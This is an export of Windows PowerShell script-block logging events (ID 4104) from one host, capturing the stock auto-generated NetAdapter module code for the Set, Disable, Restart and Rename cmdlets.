[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('RegistryValue')) {
[object]$__cmdletization_value = ${RegistryValue}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'RegistryValue'; ParameterType = 'System.String[]'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'RegistryValue'; ParameterType = 'System.String[]'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('IncludeHidden')) {
[object]$__cmdletization_value = ${IncludeHidden}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:IncludeHidden'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:IncludeHidden'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Mic
ScriptBlock ID: 7183a476-0865-4c5c-946f-ca6a370fbe23
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1834 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4508 | 5108 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:05 AM | dfeadd90-ee34-0004-9528-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (3 of 3):
System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NewName'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Rename', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $false
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapter.cmdletDefinition.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Rename-NetAdapter' -Alias '*'
function Set-NetAdapter
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='High', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetAdapter')]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapter')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[ValidateRange(0, 4094)]
[uint16]
${VlanID},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('LinkLayerAddress')]
[string]
${MacAddress},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NetworkAddresses'; ParameterType = 'System.String[]'; Bindings = '0'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('VlanID')) {
[object]$__cmdletization_value = ${VlanID}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'VlanID'; ParameterType = 'System.UInt16'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'VlanID'; ParameterType = 'System.UInt16'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('MacAddress')) {
[object]$__cmdletization_value = ${MacAddress}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:MacAddress'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:MacAddress'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('cim:ModifyInstance', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $PSBoundParameters.ContainsKey('PassThru') -and $PassThru
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapter.cmdletDefinition.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Set-NetAdapter' -Alias '*'
ScriptBlock ID: 42c52eff-9009-46eb-bde7-93af06193b67
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1833 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4508 | 5108 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:05 AM | dfeadd90-ee34-0000-e9ed-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 3):
QueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PassThru')) {
[object]$__cmdletization_value = ${PassThru}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Disable', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $false
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapter.cmdletDefinition.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Disable-NetAdapter' -Alias '*'
function Restart-NetAdapter
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapter')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PassThru')) {
[object]$__cmdletization_value = ${PassThru}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Restart', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $false
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapter.cmdletDefinition.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Restart-NetAdapter' -Alias '*'
function Rename-NetAdapter
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapter')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru},
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=1)]
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, Position=1)]
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, Position=1)]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[string]
${NewName},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PassThru')) {
[object]$__cmdletization_value = ${PassThru}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NewName')) {
[object]$__cmdletization_value = ${NewName}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NewName'; ParameterType = '
ScriptBlock ID: 42c52eff-9009-46eb-bde7-93af06193b67
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1832 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4508 | 5108 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:05 AM | dfeadd90-ee34-0000-e9ed-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 3):
#requires -version 3.0
try { Microsoft.PowerShell.Core\Set-StrictMode -Off } catch { }
$script:MyModule = $MyInvocation.MyCommand.ScriptBlock.Module
$script:ClassName = 'ROOT/StandardCimv2/MSFT_NetAdapter'
$script:ClassVersion = '1.0.0'
$script:ModuleVersion = '1.0'
$script:ObjectModelWrapper = [Microsoft.PowerShell.Cmdletization.Cim.CimCmdletAdapter]
$script:PrivateData = [System.Collections.Generic.Dictionary[string,string]]::new()
Microsoft.PowerShell.Core\Export-ModuleMember -Function @()
function __cmdletization_BindCommonParameters
{
param(
$__cmdletization_objectModelWrapper,
$myPSBoundParameters
)
if ($myPSBoundParameters.ContainsKey('CimSession')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['CimSession'].Value = $myPSBoundParameters['CimSession']
}
if ($myPSBoundParameters.ContainsKey('ThrottleLimit')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['ThrottleLimit'].Value = $myPSBoundParameters['ThrottleLimit']
}
if ($myPSBoundParameters.ContainsKey('AsJob')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['AsJob'].Value = $myPSBoundParameters['AsJob']
}
